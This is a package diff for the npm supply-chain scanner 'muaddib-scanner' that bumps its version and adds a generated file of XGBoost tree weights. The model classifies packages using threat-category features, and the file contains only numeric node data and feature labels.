muaddib-scanner 2.10.88 → 2.10.91

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "muaddib-scanner",
3
- "version": "2.10.88",
3
+ "version": "2.10.91",
4
4
  "description": "Supply-chain threat detection & response for npm & PyPI/Python",
5
5
  "main": "src/index.js",
6
6
  "bin": {
@@ -0,0 +1,11 @@
1
+ 'use strict';
2
+
3
+ /**
4
+ * XGBoost model trees — auto-generated by src/ml/train-xgboost.py
5
+ * 144 trees, 40 features, threshold=0.52
6
+ * CV: P=0.913 R=0.971 F1=0.941
7
+ * Holdout: P=0.999 R=0.929 F1=0.963
8
+ * DO NOT EDIT MANUALLY
9
+ */
10
+
11
+ module.exports = {"version":1,"features":["unpacked_size_bytes","score","global_risk_score","threat_density","file_count_total","package_score","max_single_points","has_tests","count_total","max_file_score","type_lifecycle_script","version_count","points_concentration","author_package_count","type_credential_regex_harvest","distinct_threat_types","count_critical","count_high","count_medium","count_low","type_suspicious_dataflow","type_env_access","type_sensitive_string","type_dangerous_call_eval","type_dangerous_call_exec","type_dangerous_call_function","type_obfuscation_detected","type_high_entropy_string","type_dynamic_require","type_dynamic_import","type_typosquat_detected","type_staged_payload","type_staged_binary_payload","type_network_require","type_sandbox_evasion","type_remote_code_load","type_suspicious_domain","type_prototype_hook","type_intent_credential_exfil","type_crypto_decipher"],"threshold":0.52,"trees":[[{"f":1,"t":2,"y":1,"n":14,"v":0},{"f":5,"t":1,"y":2,"n":11,"v":0},{"f":3,"t":1,"y":3,"n":8,"v":0},{"f":7,"t":1,"y":4,"n":7,"v":0},{"f":1,"t":1,"y":5,"n":6,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":-0.166096},{"f":-1,"t":0,"y":0,"n":0,"v":-0.199006},{"f":-1,"t":0,"y":0,"n":0,"v":-0.19908},{"f":11,"t":1,"y":9,"n":10,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":0.165379},{"f":-1,"t":0,"y":0,"n":0,"v":-0.196779},{"f":11,"t":1,"y":12,"n":13,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":0.178149},{"f":-1,"t":0,"y":0,"n":0,"v":-0.178459},{"f":11,"t":1,"y":15,"n":22,"v":0},{"f":3,"t":1,"y":16,"n":21,"v":0},{"f":9,"t":1,"y":17,"n":20,"v":0},{"f":1,"t":4,"y":18,"n":19,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":0.179951},{"f":-1,"t":0,"y":0,"n":0,"v":0.199021},{"f":-1,"t":0,"y":0,"n":0,"v":-0.199171},{"f":-1,"t":0,"y":0,"n":0,"v":0.199812},{"f":-1,"t":0,"y":0,"n":0,"v":-0.199165}],[{"f":0,"t":247,"y":1,"n":6,"v":0},{"f":1,"t":1,"y":2,"n":5,"v":0},{"f":7,"t":1,"y":3,"n":4,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":0.023559},{"f":-1,"t":0,"y":0,"n":0,"v":-0.179379},{"f":-1,"t":0,"y":0,"n":0,"v":0.181997},{"f":-1,"t":0,"y":0,"n":0,"v":-0.184263}],[{"f":0,"t":247,"y":1,"n":6,"v":0},{"f":1,"t":1,"y":2,"n":5,"v":0},{"f":7,"t":1,"y":3,"n":4,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":0.025297},{"f":-1,"t":0,"y":0,"n":0,"v":-0.166025},{"f":-1,"t":0,"y":0,"n":0,"v":0.168281},{"f":-1,"t":0,"y":0,"n":0,"v":-0.170089}],[{"f":0,"t":247,"y":1,"n":6,"v":0},{"f":1,"t":1,"y":2,"n":5,"v":0},{"f":7,"t":1,"y":3,"n":4,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":0.018951},{"f":-1,"t":0,"y":0,"n":0,"v":-0.155613},{"f":-1,"t":0,"y":0,"n":0,"v":0.157681},{"f":-1,"t":0,"y":0,"n":0,"v":-0.159127}],[{"f":0,"t":247,"y":1,"n":6,"v":0},{"f":1,"t":1,"y":2,"n":5,"v":0},{"f":7,"t":1,"y":3,"n":4,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":0.019364},{"f":-1,"t":0,"y":0,"n":0,"v":-0.147067},{"f":-1,"t":0,"y":0,"n":0,"v":0.149269},{"f":-1,"t":0,"y":0,"n":0,"v":-0.15043}],[{"f":0,"t":247,"y":1,"n":4,"v":0},{"f":2,"t":1,"y":2,"n":3,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":0.005689},{"f":-1,"t":0,"y":0,"n":0,"v":0.142388},{"f":-1,"t":0,"y":0,"n":0,"v":-0.143374}],[{"f":0,"t":247,"y":1,"n":4,"v":0},{"f":1,"t":1,"y":2,"n":3,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":0.002889},{"f":-1,"t":0,"y":0,"n":0,"v":0.136737},{"f":-1,"t":0,"y":0,"n":0,"v":-0.137571}],[{"f":1,"t":2,"y":1,"n":10,"v":0},{"f":4,"t":1,"y":2,"n":9,"v":0},{"f":3,"t":1,"y":3,"n":8,"v":0},{"f":9,"t":1,"y":4,"n":7,"v":0},{"f":7,"t":1,"y":5,"n":6,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":-0.091257},{"f":-1,"t":0,"y":0,"n":0,"v":-0.14027},{"f":-1,"t":0,"y":0,"n":0,"v":-0.130949},{"f":-1,"t":0,"y":0,"n":0,"v":0.115779},{"f":-1,"t":0,"y":0,"n":0,"v":-0.132801},{"f":11,"t":1,"y":11,"n":18,"v":0},{"f":3,"t":1,"y":12,"n":17,"v":0},{"f":9,"t":1,"y":13,"n":16,"v":0},{"f":1,"t":4,"y":14,"n":15,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":0.11795},{"f":-1,"t":0,"y":0,"n":0,"v":0.131006},{"f":-1,"t":0,"y":0,"n":0,"v":-0.131716},{"f":-1,"t":0,"y":0,"n":0,"v":0.131944},{"f":-1,"t":0,"y":0,"n":0,"v":-0.131069}],[{"f":0,"t":247,"y":1,"n":6,"v":0},{"f":1,"t":1,"y":2,"n":5,"v":0},{"f":7,"t":1,"y":3,"n":4,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":0.021324},{"f":-1,"t":0,"y":0,"n":0,"v":-0.135022},{"f":-1,"t":0,"y":0,"n":0,"v":0.12808},{"f":-1,"t":0,"y":0,"n":0,"v":-0.129409}],[{"f":1,"t":5,"y":1,"n":26,"v":0},{"f":1,"t":2,"y":2,"n":11,"v":0},{"f":4,"t":1,"y":3,"n":10,"v":0},{"f":7,"t":1,"y":4,"n":9,"v":0},{"f":29,"t":1,"y":5,"n":8,"v":0},{"f":2,"t":6,"y":6,"n":7,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":-0.082086},{"f":-1,"t":0,"y":0,"n":0,"v":-0.01764},{"f":-1,"t":0,"y":0,"n":0,"v":-0.119125},{"f":-1,"t":0,"y":0,"n":0,"v":-0.12998},{"f":-1,"t":0,"y":0,"n":0,"v":-0.125232},{"f":11,"t":1,"y":12,"n":25,"v":0},{"f":9,"t":3,"y":13,"n":18,"v":0},{"f":2,"t":3,"y":14,"n":15,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":-0.07023},{"f":6,"t":3,"y":16,"n":17,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":0.082875},{"f":-1,"t":0,"y":0,"n":0,"v":0.110778},{"f":15,"t":2,"y":19,"n":22,"v":0},{"f":27,"t":1,"y":20,"n":21,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":-0.107038},{"f":-1,"t":0,"y":0,"n":0,"v":0.013351},{"f":25,"t":1,"y":23,"n":24,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":0.030529},{"f":-1,"t":0,"y":0,"n":0,"v":0.115054},{"f":-1,"t":0,"y":0,"n":0,"v":-0.123642},{"f":11,"t":1,"y":27,"n":36,"v":0},{"f":6,"t":6,"y":28,"n":35,"v":0},{"f":14,"t":3,"y":29,"n":34,"v":0},{"f":18,"t":4,"y":30,"n":33,"v":0},{"f":9,"t":4,"y":31,"n":32,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":0.118541},{"f":-1,"t":0,"y":0,"n":0,"v":0.052778},{"f":-1,"t":0,"y":0,"n":0,"v":-0.023891},{"f":-1,"t":0,"y":0,"n":0,"v":-0.099574},{"f":-1,"t":0,"y":0,"n":0,"v":0.124699},{"f":-1,"t":0,"y":0,"n":0,"v":-0.110215}],[{"f":0,"t":247,"y":1,"n":6,"v":0},{"f":1,"t":1,"y":2,"n":5,"v":0},{"f":7,"t":1,"y":3,"n":4,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":0.033674},{"f":-1,"t":0,"y":0,"n":0,"v":-0.126251},{"f":-1,"t":0,"y":0,"n":0,"v":0.121893},{"f":-1,"t":0,"y":0,"n":0,"v":-0.123543}],[{"f":0,"t":247,"y":1,"n":6,"v":0},{"f":2,"t":1,"y":2,"n":5,"v":0},{"f":7,"t":1,"y":3,"n":4,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":0.026005},{"f":-1,"t":0,"y":0,"n":0,"v":-0.122481},{"f":-1,"t":0,"y":0,"n":0,"v":0.119334},{"f":-1,"t":0,"y":0,"n":0,"v":-0.120804}],[{"f":6,"t":3,"y":1,"n":12,"v":0},{"f":4,"t":1,"y":2,"n":11,"v":0},{"f":3,"t":1,"y":3,"n":10,"v":0},{"f":9,"t":1,"y":4,"n":9,"v":0},{"f":5,"t":1,"y":5,"n":8,"v":0},{"f":7,"t":1,"y":6,"n":7,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":-0.066989},{"f":-1,"t":0,"y":0,"n":0,"v":-0.119292},{"f":-1,"t":0,"y":0,"n":0,"v":0.1009},{"f":-1,"t":0,"y":0,"n":0,"v":-0.117542},{"f":-1,"t":0,"y":0,"n":0,"v":0.112724},{"f":-1,"t":0,"y":0,"n":0,"v":-0.117537},{"f":11,"t":1,"y":13,"n":24,"v":0},{"f":6,"t":6,"y":14,"n":23,"v":0},{"f":5,"t":1,"y":15,"n":18,"v":0},{"f":3,"t":1,"y":16,"n":17,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":-0.117232},{"f":-1,"t":0,"y":0,"n":0,"v":0.105563},{"f":14,"t":1,"y":19,"n":22,"v":0},{"f":8,"t":2,"y":20,"n":21,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":0.097505},{"f":-1,"t":0,"y":0,"n":0,"v":0.11452},{"f":-1,"t":0,"y":0,"n":0,"v":0.008878},{"f":-1,"t":0,"y":0,"n":0,"v":0.117101},{"f":-1,"t":0,"y":0,"n":0,"v":-0.115938}],[{"f":0,"t":247,"y":1,"n":6,"v":0},{"f":2,"t":1,"y":2,"n":5,"v":0},{"f":7,"t":1,"y":3,"n":4,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":0.029886},{"f":-1,"t":0,"y":0,"n":0,"v":-0.116787},{"f":-1,"t":0,"y":0,"n":0,"v":0.11528},{"f":-1,"t":0,"y":0,"n":0,"v":-0.116945}],[{"f":0,"t":247,"y":1,"n":4,"v":0},{"f":2,"t":1,"y":2,"n":3,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":0.021102},{"f":-1,"t":0,"y":0,"n":0,"v":0.113632},{"f":-1,"t":0,"y":0,"n":0,"v":-0.115084}],[{"f":0,"t":247,"y":1,"n":6,"v":0},{"f":1,"t":1,"y":2,"n":5,"v":0},{"f":7,"t":1,"y":3,"n":4,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":0.023093},{"f":-1,"t":0,"y":0,"n":0,"v":-0.114995},{"f":-1,"t":0,"y":0,"n":0,"v":0.112018},{"f":-1,"t":0,"y":0,"n":0,"v":-0.113463}],[{"f":0,"t":247,"y":1,"n":6,"v":0},{"f":1,"t":1,"y":2,"n":5,"v":0},{"f":7,"t":1,"y":3,"n":4,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":0.021435},{"f":-1,"t":0,"y":0,"n":0,"v":-0.112506},{"f":-1,"t":0,"y":0,"n":0,"v":0.110807},{"f":-1,"t":0,"y":0,"n":0,"v":-0.111999}],[{"f":0,"t":247,"y":1,"n":6,"v":0},{"f":1,"t":1,"y":2,"n":5,"v":0},{"f":7,"t":1,"y":3,"n":4,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":0.021613},{"f":-1,"t":0,"y":0,"n":0,"v":-0.110627},{"f":-1,"t":0,"y":0,"n":0,"v":0.109574},{"f":-1,"t":0,"y":0,"n":0,"v":-0.110723}],[{"f":0,"t":247,"y":1,"n":6,"v":0},{"f":1,"t":1,"y":2,"n":5,"v":0},{"f":7,"t":1,"y":3,"n":4,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":0.022198},{"f":-1,"t":0,"y":0,"n":0,"v":-0.108767},{"f":-1,"t":0,"y":0,"n":0,"v":0.108453},{"f":-1,"t":0,"y":0,"n":0,"v":-0.109588}],[{"f":1,"t":5,"y":1,"n":14,"v":0},{"f":10,"t":1,"y":2,"n":11,"v":0},{"f":4,"t":1,"y":3,"n":10,"v":0},{"f":3,"t":1,"y":4,"n":9,"v":0},{"f":1,"t":1,"y":5,"n":8,"v":0},{"f":7,"t":1,"y":6,"n":7,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":-0.046418},{"f":-1,"t":0,"y":0,"n":0,"v":-0.107087},{"f":-1,"t":0,"y":0,"n":0,"v":-0.10833},{"f":-1,"t":0,"y":0,"n":0,"v":0.101423},{"f":-1,"t":0,"y":0,"n":0,"v":-0.108002},{"f":11,"t":1,"y":12,"n":13,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":0.086705},{"f":-1,"t":0,"y":0,"n":0,"v":-0.105347},{"f":1,"t":9,"y":15,"n":18,"v":0},{"f":5,"t":2,"y":16,"n":17,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":-0.062312},{"f":-1,"t":0,"y":0,"n":0,"v":0.093939},{"f":18,"t":6,"y":19,"n":20,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":0.107482},{"f":1,"t":90,"y":21,"n":22,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":0.025131},{"f":-1,"t":0,"y":0,"n":0,"v":0.092991}],[{"f":1,"t":5,"y":1,"n":14,"v":0},{"f":4,"t":1,"y":2,"n":13,"v":0},{"f":5,"t":1,"y":3,"n":10,"v":0},{"f":3,"t":1,"y":4,"n":9,"v":0},{"f":1,"t":1,"y":5,"n":8,"v":0},{"f":7,"t":1,"y":6,"n":7,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":-0.04076},{"f":-1,"t":0,"y":0,"n":0,"v":-0.105715},{"f":-1,"t":0,"y":0,"n":0,"v":-0.107229},{"f":-1,"t":0,"y":0,"n":0,"v":0.098057},{"f":11,"t":1,"y":11,"n":12,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":0.085153},{"f":-1,"t":0,"y":0,"n":0,"v":-0.101203},{"f":-1,"t":0,"y":0,"n":0,"v":-0.107192},{"f":6,"t":6,"y":15,"n":20,"v":0},{"f":5,"t":2,"y":16,"n":19,"v":0},{"f":3,"t":1,"y":17,"n":18,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":-0.094571},{"f":-1,"t":0,"y":0,"n":0,"v":0.022625},{"f":-1,"t":0,"y":0,"n":0,"v":0.087403},{"f":-1,"t":0,"y":0,"n":0,"v":0.106893}],[{"f":0,"t":247,"y":1,"n":6,"v":0},{"f":1,"t":1,"y":2,"n":5,"v":0},{"f":7,"t":1,"y":3,"n":4,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":0.027722},{"f":-1,"t":0,"y":0,"n":0,"v":-0.10433},{"f":-1,"t":0,"y":0,"n":0,"v":0.105961},{"f":-1,"t":0,"y":0,"n":0,"v":-0.107632}],[{"f":0,"t":247,"y":1,"n":6,"v":0},{"f":1,"t":1,"y":2,"n":5,"v":0},{"f":7,"t":1,"y":3,"n":4,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":0.024552},{"f":-1,"t":0,"y":0,"n":0,"v":-0.102988},{"f":-1,"t":0,"y":0,"n":0,"v":0.105362},{"f":-1,"t":0,"y":0,"n":0,"v":-0.106852}],[{"f":0,"t":247,"y":1,"n":6,"v":0},{"f":2,"t":1,"y":2,"n":5,"v":0},{"f":7,"t":1,"y":3,"n":4,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":0.018426},{"f":-1,"t":0,"y":0,"n":0,"v":-0.101567},{"f":-1,"t":0,"y":0,"n":0,"v":0.104741},{"f":-1,"t":0,"y":0,"n":0,"v":-0.106146}],[{"f":0,"t":247,"y":1,"n":6,"v":0},{"f":1,"t":1,"y":2,"n":5,"v":0},{"f":7,"t":1,"y":3,"n":4,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":0.017335},{"f":-1,"t":0,"y":0,"n":0,"v":-0.100818},{"f":-1,"t":0,"y":0,"n":0,"v":0.104173},{"f":-1,"t":0,"y":0,"n":0,"v":-0.105523}],[{"f":0,"t":247,"y":1,"n":6,"v":0},{"f":1,"t":1,"y":2,"n":5,"v":0},{"f":7,"t":1,"y":3,"n":4,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":0.018273},{"f":-1,"t":0,"y":0,"n":0,"v":-0.099411},{"f":-1,"t":0,"y":0,"n":0,"v":0.103791},{"f":-1,"t":0,"y":0,"n":0,"v":-0.10493}],[{"f":1,"t":5,"y":1,"n":14,"v":0},{"f":4,"t":1,"y":2,"n":13,"v":0},{"f":5,"t":1,"y":3,"n":10,"v":0},{"f":3,"t":1,"y":4,"n":9,"v":0},{"f":1,"t":1,"y":5,"n":8,"v":0},{"f":7,"t":1,"y":6,"n":7,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":-0.032564},{"f":-1,"t":0,"y":0,"n":0,"v":-0.098053},{"f":-1,"t":0,"y":0,"n":0,"v":-0.106692},{"f":-1,"t":0,"y":0,"n":0,"v":0.091536},{"f":11,"t":1,"y":11,"n":12,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":0.077321},{"f":-1,"t":0,"y":0,"n":0,"v":-0.093958},{"f":-1,"t":0,"y":0,"n":0,"v":-0.103987},{"f":6,"t":6,"y":15,"n":20,"v":0},{"f":5,"t":2,"y":16,"n":17,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":-0.047188},{"f":15,"t":3,"y":18,"n":19,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":0.084242},{"f":-1,"t":0,"y":0,"n":0,"v":0.044127},{"f":-1,"t":0,"y":0,"n":0,"v":0.103513}],[{"f":0,"t":247,"y":1,"n":6,"v":0},{"f":1,"t":1,"y":2,"n":5,"v":0},{"f":7,"t":1,"y":3,"n":4,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":0.01902},{"f":-1,"t":0,"y":0,"n":0,"v":-0.097488},{"f":-1,"t":0,"y":0,"n":0,"v":0.102764},{"f":-1,"t":0,"y":0,"n":0,"v":-0.104236}],[{"f":0,"t":247,"y":1,"n":6,"v":0},{"f":1,"t":1,"y":2,"n":5,"v":0},{"f":7,"t":1,"y":3,"n":4,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":0.014549},{"f":-1,"t":0,"y":0,"n":0,"v":-0.096213},{"f":-1,"t":0,"y":0,"n":0,"v":0.102349},{"f":-1,"t":0,"y":0,"n":0,"v":-0.103801}],[{"f":0,"t":247,"y":1,"n":6,"v":0},{"f":1,"t":1,"y":2,"n":5,"v":0},{"f":7,"t":1,"y":3,"n":4,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":0.016568},{"f":-1,"t":0,"y":0,"n":0,"v":-0.095081},{"f":-1,"t":0,"y":0,"n":0,"v":0.101765},{"f":-1,"t":0,"y":0,"n":0,"v":-0.103392}],[{"f":0,"t":247,"y":1,"n":6,"v":0},{"f":6,"t":1,"y":2,"n":5,"v":0},{"f":7,"t":1,"y":3,"n":4,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":0.013442},{"f":-1,"t":0,"y":0,"n":0,"v":-0.093937},{"f":-1,"t":0,"y":0,"n":0,"v":0.101595},{"f":-1,"t":0,"y":0,"n":0,"v":-0.102998}],[{"f":0,"t":247,"y":1,"n":6,"v":0},{"f":1,"t":1,"y":2,"n":5,"v":0},{"f":7,"t":1,"y":3,"n":4,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":0.013649},{"f":-1,"t":0,"y":0,"n":0,"v":-0.092676},{"f":-1,"t":0,"y":0,"n":0,"v":0.101264},{"f":-1,"t":0,"y":0,"n":0,"v":-0.102679}],[{"f":0,"t":247,"y":1,"n":6,"v":0},{"f":1,"t":1,"y":2,"n":5,"v":0},{"f":7,"t":1,"y":3,"n":4,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":0.007743},{"f":-1,"t":0,"y":0,"n":0,"v":-0.091593},{"f":-1,"t":0,"y":0,"n":0,"v":0.101211},{"f":-1,"t":0,"y":0,"n":0,"v":-0.10238}],[{"f":0,"t":247,"y":1,"n":6,"v":0},{"f":2,"t":3,"y":2,"n":5,"v":0},{"f":7,"t":1,"y":3,"n":4,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":0.011271},{"f":-1,"t":0,"y":0,"n":0,"v":-0.090304},{"f":-1,"t":0,"y":0,"n":0,"v":0.100909},{"f":-1,"t":0,"y":0,"n":0,"v":-0.102087}],[{"f":1,"t":5,"y":1,"n":14,"v":0},{"f":4,"t":1,"y":2,"n":13,"v":0},{"f":5,"t":1,"y":3,"n":10,"v":0},{"f":3,"t":1,"y":4,"n":9,"v":0},{"f":1,"t":1,"y":5,"n":8,"v":0},{"f":7,"t":1,"y":6,"n":7,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":-0.017879},{"f":-1,"t":0,"y":0,"n":0,"v":-0.088443},{"f":-1,"t":0,"y":0,"n":0,"v":-0.109286},{"f":-1,"t":0,"y":0,"n":0,"v":0.082224},{"f":13,"t":1,"y":11,"n":12,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":0.068141},{"f":-1,"t":0,"y":0,"n":0,"v":-0.083152},{"f":-1,"t":0,"y":0,"n":0,"v":-0.102207},{"f":6,"t":6,"y":15,"n":18,"v":0},{"f":2,"t":9,"y":16,"n":17,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":0.071793},{"f":-1,"t":0,"y":0,"n":0,"v":-0.008453},{"f":-1,"t":0,"y":0,"n":0,"v":0.101179}],[{"f":0,"t":247,"y":1,"n":6,"v":0},{"f":1,"t":1,"y":2,"n":5,"v":0},{"f":7,"t":1,"y":3,"n":4,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":0.006758},{"f":-1,"t":0,"y":0,"n":0,"v":-0.088443},{"f":-1,"t":0,"y":0,"n":0,"v":0.10003},{"f":-1,"t":0,"y":0,"n":0,"v":-0.101761}],[{"f":1,"t":5,"y":1,"n":14,"v":0},{"f":4,"t":1,"y":2,"n":13,"v":0},{"f":5,"t":1,"y":3,"n":10,"v":0},{"f":1,"t":1,"y":4,"n":7,"v":0},{"f":7,"t":1,"y":5,"n":6,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":-0.008648},{"f":-1,"t":0,"y":0,"n":0,"v":-0.086637},{"f":3,"t":1,"y":8,"n":9,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":-0.110782},{"f":-1,"t":0,"y":0,"n":0,"v":0.079698},{"f":19,"t":1,"y":11,"n":12,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":0.041031},{"f":-1,"t":0,"y":0,"n":0,"v":0.073627},{"f":-1,"t":0,"y":0,"n":0,"v":-0.101991},{"f":1,"t":9,"y":15,"n":18,"v":0},{"f":9,"t":3,"y":16,"n":17,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":0.068487},{"f":-1,"t":0,"y":0,"n":0,"v":0.009985},{"f":-1,"t":0,"y":0,"n":0,"v":0.099853}],[{"f":0,"t":247,"y":1,"n":6,"v":0},{"f":1,"t":1,"y":2,"n":5,"v":0},{"f":7,"t":1,"y":3,"n":4,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":0.009683},{"f":-1,"t":0,"y":0,"n":0,"v":-0.084594},{"f":-1,"t":0,"y":0,"n":0,"v":0.099913},{"f":-1,"t":0,"y":0,"n":0,"v":-0.101498}],[{"f":0,"t":247,"y":1,"n":6,"v":0},{"f":2,"t":3,"y":2,"n":5,"v":0},{"f":7,"t":1,"y":3,"n":4,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":0.012524},{"f":-1,"t":0,"y":0,"n":0,"v":-0.084384},{"f":-1,"t":0,"y":0,"n":0,"v":0.099621},{"f":-1,"t":0,"y":0,"n":0,"v":-0.101266}],[{"f":0,"t":247,"y":1,"n":4,"v":0},{"f":2,"t":3,"y":2,"n":3,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":0.008028},{"f":-1,"t":0,"y":0,"n":0,"v":0.099348},{"f":-1,"t":0,"y":0,"n":0,"v":-0.101081}],[{"f":0,"t":247,"y":1,"n":4,"v":0},{"f":1,"t":1,"y":2,"n":3,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":0.00906},{"f":-1,"t":0,"y":0,"n":0,"v":0.099124},{"f":-1,"t":0,"y":0,"n":0,"v":-0.100882}],[{"f":0,"t":247,"y":1,"n":4,"v":0},{"f":2,"t":2,"y":2,"n":3,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":0.009084},{"f":-1,"t":0,"y":0,"n":0,"v":0.098828},{"f":-1,"t":0,"y":0,"n":0,"v":-0.10069}],[{"f":1,"t":5,"y":1,"n":8,"v":0},{"f":4,"t":1,"y":2,"n":7,"v":0},{"f":5,"t":1,"y":3,"n":6,"v":0},{"f":12,"t":0.51,"y":4,"n":5,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":-0.009047},{"f":-1,"t":0,"y":0,"n":0,"v":-0.072502},{"f":-1,"t":0,"y":0,"n":0,"v":0.042948},{"f":-1,"t":0,"y":0,"n":0,"v":-0.101101},{"f":6,"t":6,"y":9,"n":10,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":0.041537},{"f":-1,"t":0,"y":0,"n":0,"v":0.099723}],[{"f":0,"t":247,"y":1,"n":4,"v":0},{"f":2,"t":3,"y":2,"n":3,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":0.004616},{"f":-1,"t":0,"y":0,"n":0,"v":0.098232},{"f":-1,"t":0,"y":0,"n":0,"v":-0.100488}],[{"f":0,"t":247,"y":1,"n":4,"v":0},{"f":1,"t":3,"y":2,"n":3,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":0.006863},{"f":-1,"t":0,"y":0,"n":0,"v":0.097879},{"f":-1,"t":0,"y":0,"n":0,"v":-0.100322}],[{"f":0,"t":247,"y":1,"n":4,"v":0},{"f":2,"t":3,"y":2,"n":3,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":0.006221},{"f":-1,"t":0,"y":0,"n":0,"v":0.097599},{"f":-1,"t":0,"y":0,"n":0,"v":-0.100143}],[{"f":6,"t":6,"y":1,"n":12,"v":0},{"f":4,"t":1,"y":2,"n":11,"v":0},{"f":10,"t":1,"y":3,"n":8,"v":0},{"f":6,"t":2,"y":4,"n":7,"v":0},{"f":1,"t":1,"y":5,"n":6,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":-0.003931},{"f":-1,"t":0,"y":0,"n":0,"v":-0.02659},{"f":-1,"t":0,"y":0,"n":0,"v":-0.071719},{"f":8,"t":2,"y":9,"n":10,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":0.03437},{"f":-1,"t":0,"y":0,"n":0,"v":0.071294},{"f":-1,"t":0,"y":0,"n":0,"v":-0.10067},{"f":-1,"t":0,"y":0,"n":0,"v":0.099017}],[{"f":6,"t":6,"y":1,"n":12,"v":0},{"f":4,"t":1,"y":2,"n":11,"v":0},{"f":10,"t":1,"y":3,"n":8,"v":0},{"f":12,"t":0.51,"y":4,"n":7,"v":0},{"f":7,"t":1,"y":5,"n":6,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":-0.005971},{"f":-1,"t":0,"y":0,"n":0,"v":-0.083438},{"f":-1,"t":0,"y":0,"n":0,"v":-0.0712},{"f":8,"t":2,"y":9,"n":10,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":0.033137},{"f":-1,"t":0,"y":0,"n":0,"v":0.067336},{"f":-1,"t":0,"y":0,"n":0,"v":-0.101266},{"f":-1,"t":0,"y":0,"n":0,"v":0.098815}],[{"f":0,"t":247,"y":1,"n":4,"v":0},{"f":1,"t":1,"y":2,"n":3,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":0.004883},{"f":-1,"t":0,"y":0,"n":0,"v":0.096699},{"f":-1,"t":0,"y":0,"n":0,"v":-0.099913}],[{"f":0,"t":247,"y":1,"n":4,"v":0},{"f":2,"t":2,"y":2,"n":3,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":0.011426},{"f":-1,"t":0,"y":0,"n":0,"v":0.097535},{"f":-1,"t":0,"y":0,"n":0,"v":-0.099743}],[{"f":0,"t":247,"y":1,"n":4,"v":0},{"f":2,"t":3,"y":2,"n":3,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":0.008326},{"f":-1,"t":0,"y":0,"n":0,"v":0.095696},{"f":-1,"t":0,"y":0,"n":0,"v":-0.099579}],[{"f":0,"t":247,"y":1,"n":4,"v":0},{"f":2,"t":3,"y":2,"n":3,"v":0},{"f":-1,"t":0,"y":0,"n":0,"v":0.005312}